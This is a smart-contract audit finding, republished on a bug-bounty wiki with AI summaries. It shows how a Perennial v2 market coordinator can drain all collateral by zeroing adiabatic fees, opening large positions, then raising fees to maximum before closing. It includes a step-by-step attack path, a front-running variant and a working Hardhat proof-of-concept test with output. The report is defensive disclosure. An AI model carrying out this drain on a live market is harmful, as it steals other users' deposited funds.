Market coordinator can steal all market collateral by changing adiabatic fees
A market coordinator can set adiabatic fees to zero, open large maker and taker positions, then raise the fees to the maximum and close the positions to collect the fees. This shifts the fee difference onto the market's global exposure, which the owner must cover, allowing the coordinator to drain all market collateral.
Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/27
The protocol has acknowledged this issue.
Found by
panprog Summary The README states the following:
Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it
Even when protocol parameters are reasonable, market coordinator can steal all market funds by utilizing the adiabatic fees change. The adiabatic fees are fees taken from takers when they increase skew (difference between open longs and shorts) and paid to takers when they decrease skew to incentivize orders which reduce price risk for makers. The issue is that market coordinator can set adiabatic fees to 0, open large maker/taker positions (taker position paying 0 adiabatic fees), then immediately set adiabatic fees to max possible (e.g. 1%) and close taker/maker positions (receiving the adiabatic fee). This fees difference when adiabatic fees are changed by market coordinator is subtracted from market's global exposure, which is supposed to be paid/received by the owner. I.e. when adiabatic fees are increased, this increases exposure to be paid by the owner with coordinator being able to withdraw this amount to himself (up to total market's collateral available), meaning coordinator can steal all market funds.
Root Cause The root cause is the protocol design of adiabatic fees, it's hard to pinpoint any specific code which is the root cause.
When market risk parameters are updated, Global.update is called with new risk parameters, which changes the global exposure:
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/Global.sol#L54-L56
This global exposure has to be covered or received by owner by calling claimExposure:
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L329-L339
Since market coordinator can change adiabatic fees, this allows market coordinator to control the owner's exposure, which is essentially what lets coordinator to take advantage of this and steal funds.
Internal pre-conditions Coordinator is malicious OR User front-runs adiabatic fees increase transaction
External pre-conditions None.
Attack Path
- Coordinator sets adiabatic fees and all the other fees to 0, also increases makerLimit to large amount to cause larger impact
- Coordinator opens large maker position and large taker position (paying 0 fees)
- Wait for 1 oracle version to settle maker and taker positions
- Coordinator sets adiabatic fees to max allowed value (e.g. 1%)
- Coordinator closes taker position, settles it, closes maker position, settles it
- At this point maker should have about the same amount of collateral as deposited, and taker should have deposited collateral + adiabatic fees paid to taker for closing the position. Both maker and taker accounts withdraw all collateral. Most likely total collateral will be higher than the market has, so simply withdraw all collateral market has
At this point all funds are stolen by coordinator (and if not - simply repeat from step 1 until all funds are stolen). The other users will have positive collateral balances, but they will be unable to withdraw anything since market token balance will be 0 (market owner will have large negative exposure).
Alternative attack scenario:
- Coordinator wants to increase adiabatic fees
- User listens to coordinator transaction and front-runs it by creating huge taker position (possibly 2 taker positions - long+short to be delta-neutral, also maybe maker position if necessary, to be able to open large taker positions). This doesn't need to be classic front-run, maybe the coordinator will announce risk parameter changes in the forum or somewhere, and user opens these positions in anticipation of adiabatic fees increase
- Coordinator transaction to increase adiabatic fees goes through
- User closes his positions, receiving large profit from adiabatic fees only (which should more than cover all the other fees, and market price risk can be neutralized by opening delta-neutral positions), at the expense of the owner's exposure
Impact All market collateral token balance is stolen.
PoC
<details> <summary>Add to `test/unit/Market.test.ts` in the `update` context to demonstrate the scenario described above:</summary>it('Coordinator steals all funds', async () => {
// collateral to pay fee only
const A_COLLATERAL = parse6decimal('10000000')
const C_COLLATERAL = parse6decimal('1000000')
const A_POSITION = parse6decimal('100000')
dsu.transferFrom.whenCalledWith(user.address, market.address, A_COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userB.address, market.address, A_COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userC.address, market.address, C_COLLATERAL.mul(1e12)).returns(true)
// honest userC simply deposits $1M collateral, not even opening position
await market
.connect(userC)
['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0, C_COLLATERAL, false)
const maliciousRiskParameter = {
...riskParameter,
makerLimit: parse6decimal('100000'),
takerFee: {
...riskParameter.takerFee,
adiabaticFee: parse6decimal('0.00'), // this is paid by taker when taker opens, so make it 0
scale: parse6decimal('5000.000'),
},
makerFee: {
...riskParameter.makerFee,
scale: parse6decimal('5000.000'),
},
// set utilization curve to 0 to better showcase the adiabaticFee impact
utilizationCurve: {
...riskParameter.utilizationCurve,
minRate: parse6decimal('0.0'),
maxRate: parse6decimal('0.0'),
targetRate: parse6decimal('0.0'),
targetUtilization: parse6decimal('0.50'),
},
}
await market.connect(coordinator).updateRiskParameter(maliciousRiskParameter)
// coordinator uses 2 accounts to open maker and taker positions with adiabatic fees = 0 (taker doesn't pay any fees)
await market
.connect(user)
['update(address,uint256,uint256,uint256,int256,bool)'](user.address, A_POSITION, 0, 0, A_COLLATERAL, false)
await market
.connect(userB)
['update(address,uint256,uint256,uint256,int256,bool)'](userB.address, 0, A_POSITION, 0, A_COLLATERAL, false)
oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
oracle.request.whenCalledWith(user.address).returns()
await settle(market, userB)
var loc = await market.locals(userB.address);
console.log("UserB collateral with open taker: " + loc.collateral);
// now set adiabatic fees to max allowed (1%) to receive them back when closing taker
const maliciousRiskParameter2 = {
...maliciousRiskParameter,
takerFee: {
...maliciousRiskParameter.takerFee,
adiabaticFee: parse6decimal('0.01'), // set max fee since this will be paid to taker on close
},
}
await market.connect(coordinator).updateRiskParameter(maliciousRiskParameter2)
// close maker and taker which should pay adiabatic fees to taker
await market
.connect(userB)
['update(address,uint256,uint256,uint256,int256,bool)'](userB.address, 0, 0, 0, 0, false)
oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
oracle.request.whenCalledWith(user.address).returns()
await market
.connect(user)
['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, 0, false)
oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_4, ORACLE_VERSION_5.timestamp])
oracle.request.whenCalledWith(user.address).returns()
await settle(market, user)
await settle(market, userB)
await settle(market, userC)
var loc = await market.locals(user.address);
console.log("User collateral after closing: " + loc.collateral);
var loc = await market.locals(userB.address);
console.log("UserB collateral after closing: " + loc.collateral);
var loc = await market.locals(userC.address);
console.log("UserC collateral after closing: " + loc.collateral);
var glob = await market.global();
console.log("Exposure to be paid by owner: " + glob.exposure);
})
Console output:
UserB collateral with open taker: 10000000000000
User collateral after closing: 10000060000000
UserB collateral after closing: 11229933600000
UserC collateral after closing: 1000000000000
Exposure to be paid by owner: -1230000000000
Notice, that all 3 users deposited a total of 21M, but after the attack collateral of coordinator's users (user and userB) is 21.2M and userC collateral is still 1M, but the total of all 3 users is 22.2M, 1.2M is the exposure which should be covered by the owner.
Mitigation This is the design issue, so mitigation only depends on the intended design. Possible options:
- Remove adiabatic fees altogether
- Limit the total exposure amount which can be created by the coordinator (not full fix, but at least limits the loss)
- Force coordinator to pay exposure instead of owner (this is just partial fix though, and if exposure which can be received is also due to coordinator, this opens reverse attack vector of draining funds from existing users by decreasing adiabatic fees)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the design of adiabatic fees allows the coordinator to manipulate the global exposure, which is meant to be settled by the owner, by changing fee parameters while holding positions.
Impact
All market collateral token balance is stolen, leaving other users unable to withdraw their funds.
What the attacker needed
Malicious market coordinator; or user front-runs fee increase
The fix
The report suggests removing adiabatic fees, limiting the total exposure the coordinator can create, or forcing the coordinator to pay exposure instead of the owner, though the last is only a partial fix.
How it was found
- Coordinator sets adiabatic fees and other fees to zero and increases maker limit.
- Coordinator opens a large maker position and a large taker position, paying no fees.
- Coordinator waits for one oracle version to settle the positions.
- Coordinator sets adiabatic fees to the maximum allowed value.
- Coordinator closes the taker position, settles it, then closes the maker position and settles it.
- Coordinator withdraws all collateral from both accounts, potentially taking all market funds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A market coordinator is someone who can change settings for a trading market. Adiabatic fees are extra fees that encourage traders to take positions that reduce risk for others. The report shows that a malicious coordinator can turn these fees off, open big positions, then turn the fees up high and close the positions to collect a large fee payout. That payout comes from the market's own funds, so other users lose their money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.